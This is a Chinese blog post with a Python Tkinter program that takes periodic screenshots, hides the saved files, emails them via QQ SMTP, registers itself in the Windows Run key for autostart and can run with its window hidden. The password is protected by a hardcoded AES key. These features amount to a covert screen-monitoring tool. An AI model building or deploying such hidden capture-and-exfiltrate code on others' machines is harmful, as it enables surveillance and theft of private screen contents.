Python实现PC屏幕截图并自动发送邮件

# coding=utf-8 
'''
 @Author  : TesterRoad
 @Time    : 2023/7/9 15:43
 @Desc    : 用python实现PC屏幕截图自动发送邮箱
 @Software: PyCharm
'''
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
 
import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob
 
KEY = b'MySuperSecretKey'
 
 
def encrypt_data(data):
    cipher = AES.new(KEY, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    return iv + ct
 
 
def decrypt_data(data):
    try:
        iv = base64.b64decode(data[:24])
        ct = base64.b64decode(data[24:])
        cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
        pt = unpad(cipher.decrypt(ct), AES.block_size)
        return pt.decode('utf-8')
    except:
        return "Decryption Error!"
 
 
class ScreenshotApp:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("Screen")
 
        self.config = configparser.ConfigParser()
        self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
 
        if not os.path.exists(self.config_file):
            self.create_default_config()
 
        self.config.read(self.config_file)  # 读取配置文件
 
        self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")
        self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
        self.sender_email_entry = ttk.Entry(self.root)
        self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)
 
        self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")
        self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
        self.sender_password_entry = ttk.Entry(self.root, show="*")
        self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)
 
        self.interval_label = ttk.Label(self.root, text="截图间隔时间:")
        self.interval_label.grid(row=2, column=0, padx=5, pady=5)
        self.interval_entry = ttk.Entry(self.root)
        self.interval_entry.grid(row=2, column=1, padx=5, pady=5)
 
        self.count_label = ttk.Label(self.root, text="发送截图数量:")
        self.count_label.grid(row=3, column=0, padx=5, pady=5)
        self.count_entry = ttk.Entry(self.root)
        self.count_entry.grid(row=3, column=1, padx=5, pady=5)
 
        self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)
        self.start_button.grid(row=4, column=0, padx=5, pady=5)
 
        self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)
        self.stop_button.grid(row=4, column=1, padx=5, pady=5)
        self.stop_button.configure(state="disabled")
 
        self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
        self.save_button.grid(row=5, column=0, padx=5, pady=5)
 
        self.autostart_var = tk.BooleanVar()
        self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var,
                                                     command=self.save_settings)
        self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)
 
        self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)
        self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)
 
        # 创建日志记录器
        self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
        self.logger = logging.getLogger("ScreenshotApp")
        self.logger.setLevel(logging.INFO)
        self.logger.addHandler(logging.FileHandler(self.log_file_path))
 
        self.screenshot_running = False
        self.screenshot_thread = None
        self.stop_event = threading.Event()
 
        # 初始化输入框的值
        self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
        self.sender_password_entry.insert(0, self.get_decrypted_password())
        self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
        self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))
 
        # 初始化开机自动启动选项
        self.autostart_var.set(self.is_autostart_enabled())
 
        self.root.protocol("WM_DELETE_WINDOW", self.on_close)
 
        self.root.bind("<F12>", self.toggle_visibility)
 
        # 初始化窗口可见性
        visibility = self.config.get("Settings", "visibility", fallback="visible")
        if visibility == "hidden":
            self.root.withdraw()
 
        if self.autostart_var.get():
            self.start_screenshot()
 
        self.root.mainloop()
 
    def on_close(self):
        self.stop_screenshot()
        self.save_settings()
        self.delete_screenshots()
        self.root.quit()
 
    def create_default_config(self):
        if not os.path.exists(self.config_file):
            self.config["Settings"] = {
                "sender_email": "",
                "sender_password": "",
                "interval": "",
                "count": "",
                "autostart": "False",
                "visibility": "visible"
            }
 
        config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
 
    def start_screenshot(self):
        interval_text = self.interval_entry.get()
        count_text = self.count_entry.get()
 
        if not interval_text or not count_text:
            self.logger.error("请提供Screen间隔时间和Screen次数")
            return
 
        try:
            interval = int(interval_text)
            count = int(count_text)
        except ValueError:
            self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")
            return
        if not self.screenshot_running:
            sender_email = self.sender_email_entry.get()
            sender_password = self.sender_password_entry.get()
            interval = int(self.interval_entry.get())
            count = int(self.count_entry.get())
 
            receiver_email = sender_email  # 收件邮箱地址默认等于发件邮箱地址
 
            self.logger.info("开始Screen")
 
            self.start_button.configure(state="disabled")
            self.stop_button.configure(state="normal")
            self.screenshot_running = True
            self.stop_event.clear()
 
            self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(
            receiver_email, sender_email, sender_password, interval, count))
            self.screenshot_thread.start()
 
    def stop_screenshot(self):
        if self.screenshot_running:
            self.screenshot_running = False
            self.stop_event.set()
            self.screenshot_thread.join()
 
            self.logger.info("停止Screen")
            self.start_button.configure(state="normal")
            self.stop_button.configure(state="disabled")
 
    def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
        screenshot_count = 0
        screenshots = []
 
        # 获取用户主目录，并创建'Screenshots'文件夹
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')
        os.makedirs(screenshot_dir, exist_ok=True)
 
        # 在开始Screen前清空'Screenshots'文件夹
        self.delete_screenshots()
 
        while screenshot_count < count and not self.stop_event.is_set():
            try:
                # Screen
                screenshot = pyautogui.screenshot()
 
                # 生成文件名，格式为“Screen时间.png”
                current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
                filename = f"Screen_{current_time}.png"
 
                # 保存Screen到'Screenshots'文件夹中
                screenshot_path = os.path.join(screenshot_dir, filename)
                screenshot.save(screenshot_path)
                screenshots.append(screenshot_path)
                screenshot_count += 1
                # 设置文件为隐藏
                FILE_ATTRIBUTE_HIDDEN = 0x02
                ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
                self.logger.info(f"Screen成功: {screenshot_path}")
 
                if screenshot_count == count:  # 达到指定Screen次数后发送Screen
                    screenshot_count = 0
                    self.send_email(receiver_email, sender_email, sender_password, screenshots)
                    self.logger.info(f"Screen发送成功，共发送了 {len(screenshots)} 张Screen")
                    self.delete_screenshots(screenshots)
                    screenshots = []  # 清空已发送的Screen列表
            except Exception as e:
                self.logger.error(f"Screen失败: {str(e)}")
 
            time.sleep(interval)
 
    def send_email(self, receiver_email, sender_email, sender_password, filenames):
        msg = MIMEMultipart()
        msg["From"] = sender_email
        msg["To"] = receiver_email
        msg["Subject"] = "Screen"
 
        # 添加邮件正文
        msg.attach(MIMEText("请查看附件中的Screen。", "plain"))
 
        # 添加Screen作为附件
        for filename in filenames:
            with open(filename, "rb") as f:
                image = MIMEImage(f.read())
            image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
            msg.attach(image)
 
        try:
            # 发送邮件
            with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
                smtp.login(sender_email, sender_password)
                smtp.send_message(msg)
 
            self.logger.info(f"邮件发送成功，收件人: {receiver_email}")
 
        except Exception as e:
            self.logger.error(f"邮件发送失败: {str(e)}")
 
    def save_settings(self):
 
        self.config.set("Settings", "sender_email", self.sender_email_entry.get())
        self.config.set("Settings", "interval", self.interval_entry.get())
        self.config.set("Settings", "count", self.count_entry.get())
        self.config.set("Settings", "autostart", str(self.autostart_var.get()))
 
        visibility = "visible" if self.root.state() == "normal" else "hidden"
        self.config.set("Settings", "visibility", visibility)
 
        if self.sender_password_entry.get() != self.get_decrypted_password():
            encrypted_password = encrypt_data(self.sender_password_entry.get())
            self.config.set("Settings", "sender_password", encrypted_password)
 
        config_file_path = os.path.abspath(self.config_file)
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
            self.logger.handlers.clear()
            self.logger.addHandler(logging.FileHandler(self.log_file_path))
 
        self.set_autostart(self.autostart_var.get())
 
    def delete_screenshots(self, filenames=None):
        # 获取'Screenshots'文件夹路径
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')
 
        if filenames is None:
            filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))
 
        for filename in filenames:
            try:
                os.remove(filename)
                self.logger.info(f"删除Screen: {filename}")
            except Exception as e:
                self.logger.error(f"删除Screen失败: {str(e)}")
 
    def get_decrypted_password(self):
        encrypted_password = self.config.get("Settings", "sender_password", fallback="")
        if encrypted_password:
            return decrypt_data(encrypted_password)
        else:
            return ""
 
    def toggle_visibility(self, event=None):
        if self.root.state() == "withdrawn":
            self.root.deiconify()
        else:
            self.root.withdraw()
        self.save_settings()
 
    def set_autostart(self, enabled):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 获取当前脚本的绝对路径
 
        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
                if enabled:
                    winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
                    self.logger.info("已设置开机自动启动")
                else:
                    winreg.DeleteValue(reg_key, app_name)
                    self.logger.info("已取消开机自动启动")
        except FileNotFoundError as e:
            self.logger.error(f"找不到注册表路径: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
        except Exception as e:
            self.logger.error(f"设置开机自动启动失败: {str(e)}")
 
    def is_autostart_enabled(self):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 获取当前脚本的绝对路径
 
        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
                try:
                    value, value_type = winreg.QueryValueEx(reg_key, app_name)
                    return value == app_path
                except FileNotFoundError:
                    return False
        except FileNotFoundError as e:
            self.logger.error(f"找不到注册表路径: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
        except Exception as e:
            self.logger.error(f"读取开机自动启动设置失败: {str(e)}")
 
        return False
 
 
if __name__ == "__main__":
    app = ScreenshotApp()